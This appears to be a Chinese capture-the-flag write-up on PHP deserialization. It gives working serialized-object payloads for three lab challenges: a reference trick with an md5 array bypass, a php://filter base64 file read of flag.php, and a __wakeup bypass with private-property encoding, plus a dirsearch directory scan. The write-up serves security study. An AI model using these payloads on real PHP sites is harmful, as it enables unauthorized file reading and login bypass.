反序列化培训2

目录

第一题:

第二个复现

php封装协议

第三个:


第一题:

1:看destruct魔术方法。

catch (Exception $e):如果在执行块内的代码期间抛出异常try,则会在此处捕获该异常。但是,catch 块为空,因此如果发生异常,则不会采取任何措施。可以通过一下的方式判断哪里出现了错误。

catch (Exception $e) {
    
    
echo "Error: " . $e->getMessage(); // 输出异常信息
}

uniqid()是PHP的一个内置函数,用于生成一个唯一的ID。默认情况下,uniqid()返回一个基于当前时间微秒部分的唯一字符串。因此如果发生异常,则不会采取任何措施。所以correct的值来源于一个随机值,但是input的值还得等于correct的值。在写playload的时候,就得用特定的方法来使得这两个值无论什么时候都是相等的。

<?php
class BUU 
{
   public $correct = "";
   public $input = "";
}

$a = new BUU();
$a->correct = "";
$a->input = &$a->correct;      
echo serialize($a);

?>

$a->input = &$a->correct;这行中,&表示引用传递。这意味着input并且correct实际上引用的是相同内存地址的变量。当你其中一个时候,另一个变量的值也随之改变。换句话说,$a->input$a->correct将指向同一个内存位置。

指向同一个内存位置,也就是说,表示将第一个变量的引用赋值给第二个变量,而不是简简单单的赋值。

$a->correct = "";其目的:

通过$a->correct = "";correct设置为空字符串。因为inputcorrect是通过引用绑定的,所以input也等于空字符串。此时,$a->input$a->correct都是空字符串""。是空的字符串,而不是空格这样做的目的是为了后续的操作中利用引用关系,确保correctinput的值始终保持一致。

上面就是触发魔术方法进行的playload

第二部分的代码

想要触发这个反序列化的这个函数,就得符合上面的条件语句。md5加密。

==是弱比较,===是强比较。强比较除了比较数据的值,还要比较数据的类型是否相同。

md5()中需要的是一个string函数,但是当你传一个array()数组时,md5不会报错,只是无法求出array的md5值,这样会导致任意两个array的md5值都会相等,弱数组绕过。MD5不会对数组进行加密。剩下的按照get和post传参就可以了。

?pleaseget=1
 pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

第二个复现

代码是有点多的,只看与flag有关的代码。

在这里传入str参数之后,进行反序列化,反序列化的时候类被摧毁,会调用上面那个destruct这个魔术方法。这个魔术方法会执行这个process这个函数,然后就再去看这个函数。然后这个process这个函数又会去调用其他的read和write函数,再去分析这两个函数的内容。


    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
  public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
 private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

在这个write函数中,出现的结果无非就是file_put_contents,把后面的内容写入到文件里面。这和要看到那个文件内容有差别。

而这个read这个函数中,file_get_contents这个内置函数,显示文件内容,这个是解题的关键。

上面也是讲到了强等于和弱等于的却别,这个下面的destruct绕过就直接按照int类型绕过就可以。上面那个是弱等于,int类型的2和字符串类型的2弱等于就可以。

我最先构造的playload是

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

但是他没有显示出结果的具体数据,就显示出一个结果来。

可能是这个文件中的代码,被当作php代码被编译器编译了,所以没有呈现出来,所以只能在原页面中去寻找。

第二中,就是在进行脚本执行的时候,把php代码进行base64编码,让其不被浏览器进行编译出来。

?str
=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

php封装协议

php://filter是一种PHP中的一种特殊的流(即PHP伪协议),允许开发者使用流过滤器来对数据进行处理。也就是说这个协议可以用来过滤一些东西,使用不同的参数可以达到不同的目的和效果:

resource=<要过滤的数据流>指定了你要筛选过滤的数据流。必选

read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选

write=<写链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选

<;两个链的筛选列表>任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。

php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。 read=convert.base64-encode,用base64编码输出。

第三个:

备份网站的好习惯,直接进行扫目录。kali

dirsearch -u "url" -x 429  //过滤掉429文件不存在

得到这个zip文件,访问这个文件并且下载这个文件。

可以看到这个index.php文件中包含了这个class.php文件,并且传入了参数进行了反序列化,@符号是为了避免出现报错。

然后看class.php文件进行正确的值的传入。

可以看到username和password都是private,在构建playload的时候,创建对象的时候,就得使用私密。password=100不要让其die了,username=admin。

再次绕过wakeup魔术方法,把类的数量加一就可以了。

private:属性被序列化的时候属性名会变成%00类名%00属性名,长度跟随属性名长度而改变。加%00的目的就是用于替代不可见字符,也可以把这个playload进行url编码进行提交。

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

然后就在小猫界面得到了这个flag。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值